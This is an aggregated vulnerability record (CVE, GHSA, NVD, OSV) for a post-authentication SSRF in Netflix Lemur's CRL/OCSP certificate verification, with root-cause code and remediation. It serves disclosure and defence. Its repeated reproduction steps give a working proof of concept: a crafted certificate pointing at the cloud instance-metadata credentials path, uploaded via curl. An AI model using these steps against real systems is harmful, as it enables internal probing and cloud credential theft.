{"id":"CVE-2026-55162","aliases":["EUVD-2026-61149","GHSA-54vg-pfh7-jq95","PYSEC-2026-2586"],"status":"published","title":"Lemur: Post-authentication SSRF via certificate verification - attacker-controlled CRL and OCSP URLs in uploaded certificates","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, lemur/certificates/verify.py accepted CRL Distribution Point and OCSP responder URLs from uploaded certificate extensions and used them in crl_verify and ocsp_verify without adequate destination validation. An authenticated operator could submit a certificate through POST /api/1/certificates/upload and cause verify_string to reach loopback, RFC1918, link-local, or instance-metadata destinations such as 169.254.169.254. The requests could probe internal services and create side effects from the Lemur host network position. The CRL path also used an unbounded cache, allowing attacker-controlled entries to persist and consume memory. The fix validates destinations, supports explicit trusted-host allowlists, and bounds the CRL cache. This issue is fixed in version 1.9.2.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00216,"percentile":0.12123,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-06-25T21:58:51Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"PyPI","package":"lemur","fixed_in":["1.9.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.9.1"},{"fixed":"1.9.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"]},{"source":"osv","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"]}],"products":[{"vendor":"netflix","product":"lemur"}],"references":[{"url":"https://github.com/Netflix/lemur/security/advisories/GHSA-54vg-pfh7-jq95","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Netflix/lemur/commit/733714a2b00b2f72c3d460e440770e46a3ea9d6a","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/Netflix/lemur/releases/tag/v1.9.2","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-54vg-pfh7-jq95","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55162.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55162","tags":["advisory"]},{"url":"https://github.com/Netflix/lemur","tags":["package"]},{"url":"https://pypi.org/project/lemur","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55162","title":"Lemur: Post-authentication SSRF via certificate verification - attacker-controlled CRL and OCSP URLs in uploaded certificates","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, lemur/certificates/verify.py accepted CRL Distribution Point and OCSP responder URLs from uploaded certificate extensions and used them in crl_verify and ocsp_verify without adequate destination validation. An authenticated operator could submit a certificate through POST /api/1/certificates/upload and cause verify_string to reach loopback, RFC1918, link-local, or instance-metadata destinations such as 169.254.169.254. The requests could probe internal services and create side effects from the Lemur host network position. The CRL path also used an unbounded cache, allowing attacker-controlled entries to persist and consume memory. The fix validates destinations, supports explicit trusted-host allowlists, and bounds the CRL cache. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T18:52:25.801Z","modified":"2026-08-19T15:15:42.749Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-61149","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, lemur/certificates/verify.py accepted CRL Distribution Point and OCSP responder URLs from uploaded certificate extensions and used them in crl_verify and ocsp_verify without adequate destination validation. An authenticated operator could submit a certificate through POST /api/1/certificates/upload and cause verify_string to reach loopback, RFC1918, link-local, or instance-metadata destinations such as 169.254.169.254. The requests could probe internal services and create side effects from the Lemur host network position. The CRL path also used an unbounded cache, allowing attacker-controlled entries to persist and consume memory. The fix validates destinations, supports explicit trusted-host allowlists, and bounds the CRL cache. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T18:52:25Z","modified":"2026-08-19T15:15:42Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T18:01:44.906351Z"}],"ghsa":[{"id":"GHSA-54vg-pfh7-jq95","title":"Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF","description":"## Summary\n \nWhen verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.\n \n## Root Cause\n \n`lemur/certificates/verify.py`, `crl_verify`:\n \n```python\npoint = p.full_name[0].value                          # URL from CDP extension of uploaded cert\n...\nresponse = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter\n```\n \n`lemur/certificates/verify.py`, `ocsp_verify`:\n \n```python\ncommand = [\"openssl\", \"x509\", \"-noout\", \"-ocsp_uri\", \"-in\", cert_path]\np1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)\nurl, _ = p1.communicate()\np2 = subprocess.Popen(\n    [\"openssl\", \"ocsp\", \"-issuer\", issuer_chain_path, \"-cert\", cert_path,\n     \"-url\", url.strip()],                            # attacker-controlled URL\n    ...\n)\n```\n \nIn both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` |\n \nThe bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.\n \n## Impact\n \nAn operator-role attacker can:\n \n- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.\n- On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response.\n- Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.\nThe operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.\n \n## Remediation\n \nFilter the URL before it reaches the network sink. Either:\n \n1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or**\n2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.\nFor OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`.\n \nAdditionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.\n \n## Steps to Reproduce\n \n1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`.\n2. Generate a self-signed certificate whose extensions point at internal services:\n   ```\n   cat \u003e openssl.cnf \u003c\u003cEOF\n   [req]\n   distinguished_name = req_distinguished_name\n   req_extensions = v3_ca\n   prompt = no\n \n   [req_distinguished_name]\n   CN = ssrf-poc.example\n \n   [v3_ca]\n   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/\n   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/\n   EOF\n \n   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \\\n       -days 365 -nodes -config openssl.cnf -extensions v3_ca\n   ```\n \n3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:\n   ```\n   sudo tcpdump -nni any host 169.254.169.254\n   ```\n \n4. As `eve`, upload the malicious certificate:\n   ```\n   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\\n/\\\\n/g')\n   curl -X POST https://lemur.local/api/1/certificates/upload \\\n        -H \"Authorization: Bearer \u003ceve_jwt\u003e\" \\\n        -H \"Content-Type: application/json\" \\\n        -d \"{\n              \\\"name\\\": \\\"ssrf-poc\\\",\n              \\\"body\\\": \\\"$BODY\\\",\n              \\\"chain\\\": \\\"\\\",\n              \\\"private_key\\\": \\\"\\\",\n              \\\"owner\\\": \\\"eve@example.com\\\"\n            }\"\n   ```\n \n5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.","status":"published","published":"2026-06-25T21:58:51Z","modified":"2026-06-25T21:58:51Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:33.778544Z"}],"nvd":[{"id":"CVE-2026-55162","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, lemur/certificates/verify.py accepted CRL Distribution Point and OCSP responder URLs from uploaded certificate extensions and used them in crl_verify and ocsp_verify without adequate destination validation. An authenticated operator could submit a certificate through POST /api/1/certificates/upload and cause verify_string to reach loopback, RFC1918, link-local, or instance-metadata destinations such as 169.254.169.254. The requests could probe internal services and create side effects from the Lemur host network position. The CRL path also used an unbounded cache, allowing attacker-controlled entries to persist and consume memory. The fix validates destinations, supports explicit trusted-host allowlists, and bounds the CRL cache. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T19:16:58.217Z","modified":"2026-10-22T22:10:00.25Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:38.976695Z"}],"osv":[{"id":"CVE-2026-55162","title":"Lemur: Post-authentication SSRF via certificate verification - attacker-controlled CRL and OCSP URLs in uploaded certificates","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, lemur/certificates/verify.py accepted CRL Distribution Point and OCSP responder URLs from uploaded certificate extensions and used them in crl_verify and ocsp_verify without adequate destination validation. An authenticated operator could submit a certificate through POST /api/1/certificates/upload and cause verify_string to reach loopback, RFC1918, link-local, or instance-metadata destinations such as 169.254.169.254. The requests could probe internal services and create side effects from the Lemur host network position. The CRL path also used an unbounded cache, allowing attacker-controlled entries to persist and consume memory. The fix validates destinations, supports explicit trusted-host allowlists, and bounds the CRL cache. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T18:52:25.801Z","modified":"2026-10-28T02:31:04.403835419Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-54vg-pfh7-jq95","title":"Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF","description":"## Summary\n \nWhen verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.\n \n## Root Cause\n \n`lemur/certificates/verify.py`, `crl_verify`:\n \n```python\npoint = p.full_name[0].value                          # URL from CDP extension of uploaded cert\n...\nresponse = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter\n```\n \n`lemur/certificates/verify.py`, `ocsp_verify`:\n \n```python\ncommand = [\"openssl\", \"x509\", \"-noout\", \"-ocsp_uri\", \"-in\", cert_path]\np1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)\nurl, _ = p1.communicate()\np2 = subprocess.Popen(\n    [\"openssl\", \"ocsp\", \"-issuer\", issuer_chain_path, \"-cert\", cert_path,\n     \"-url\", url.strip()],                            # attacker-controlled URL\n    ...\n)\n```\n \nIn both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` |\n \nThe bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.\n \n## Impact\n \nAn operator-role attacker can:\n \n- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.\n- On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response.\n- Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.\nThe operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.\n \n## Remediation\n \nFilter the URL before it reaches the network sink. Either:\n \n1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or**\n2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.\nFor OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`.\n \nAdditionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.\n \n## Steps to Reproduce\n \n1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`.\n2. Generate a self-signed certificate whose extensions point at internal services:\n   ```\n   cat \u003e openssl.cnf \u003c\u003cEOF\n   [req]\n   distinguished_name = req_distinguished_name\n   req_extensions = v3_ca\n   prompt = no\n \n   [req_distinguished_name]\n   CN = ssrf-poc.example\n \n   [v3_ca]\n   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/\n   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/\n   EOF\n \n   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \\\n       -days 365 -nodes -config openssl.cnf -extensions v3_ca\n   ```\n \n3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:\n   ```\n   sudo tcpdump -nni any host 169.254.169.254\n   ```\n \n4. As `eve`, upload the malicious certificate:\n   ```\n   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\\n/\\\\n/g')\n   curl -X POST https://lemur.local/api/1/certificates/upload \\\n        -H \"Authorization: Bearer \u003ceve_jwt\u003e\" \\\n        -H \"Content-Type: application/json\" \\\n        -d \"{\n              \\\"name\\\": \\\"ssrf-poc\\\",\n              \\\"body\\\": \\\"$BODY\\\",\n              \\\"chain\\\": \\\"\\\",\n              \\\"private_key\\\": \\\"\\\",\n              \\\"owner\\\": \\\"eve@example.com\\\"\n            }\"\n   ```\n \n5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.","status":"published","published":"2026-06-25T21:58:51Z","modified":"2026-08-20T04:05:00.546161932Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"PYSEC-2026-2586","title":"Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF","description":"## Summary\n \nWhen verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.\n \n## Root Cause\n \n`lemur/certificates/verify.py`, `crl_verify`:\n \n```python\npoint = p.full_name[0].value                          # URL from CDP extension of uploaded cert\n...\nresponse = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter\n```\n \n`lemur/certificates/verify.py`, `ocsp_verify`:\n \n```python\ncommand = [\"openssl\", \"x509\", \"-noout\", \"-ocsp_uri\", \"-in\", cert_path]\np1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)\nurl, _ = p1.communicate()\np2 = subprocess.Popen(\n    [\"openssl\", \"ocsp\", \"-issuer\", issuer_chain_path, \"-cert\", cert_path,\n     \"-url\", url.strip()],                            # attacker-controlled URL\n    ...\n)\n```\n \nIn both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` |\n \nThe bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.\n \n## Impact\n \nAn operator-role attacker can:\n \n- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.\n- On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response.\n- Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.\nThe operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.\n \n## Remediation\n \nFilter the URL before it reaches the network sink. Either:\n \n1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or**\n2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.\nFor OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`.\n \nAdditionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.\n \n## Steps to Reproduce\n \n1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`.\n2. Generate a self-signed certificate whose extensions point at internal services:\n   ```\n   cat \u003e openssl.cnf \u003c\u003cEOF\n   [req]\n   distinguished_name = req_distinguished_name\n   req_extensions = v3_ca\n   prompt = no\n \n   [req_distinguished_name]\n   CN = ssrf-poc.example\n \n   [v3_ca]\n   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/\n   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/\n   EOF\n \n   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \\\n       -days 365 -nodes -config openssl.cnf -extensions v3_ca\n   ```\n \n3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:\n   ```\n   sudo tcpdump -nni any host 169.254.169.254\n   ```\n \n4. As `eve`, upload the malicious certificate:\n   ```\n   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\\n/\\\\n/g')\n   curl -X POST https://lemur.local/api/1/certificates/upload \\\n        -H \"Authorization: Bearer \u003ceve_jwt\u003e\" \\\n        -H \"Content-Type: application/json\" \\\n        -d \"{\n              \\\"name\\\": \\\"ssrf-poc\\\",\n              \\\"body\\\": \\\"$BODY\\\",\n              \\\"chain\\\": \\\"\\\",\n              \\\"private_key\\\": \\\"\\\",\n              \\\"owner\\\": \\\"eve@example.com\\\"\n            }\"\n   ```\n \n5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.","status":"published","published":"2026-07-13T15:46:24.19747Z","modified":"2026-07-13T16:32:02.487758586Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}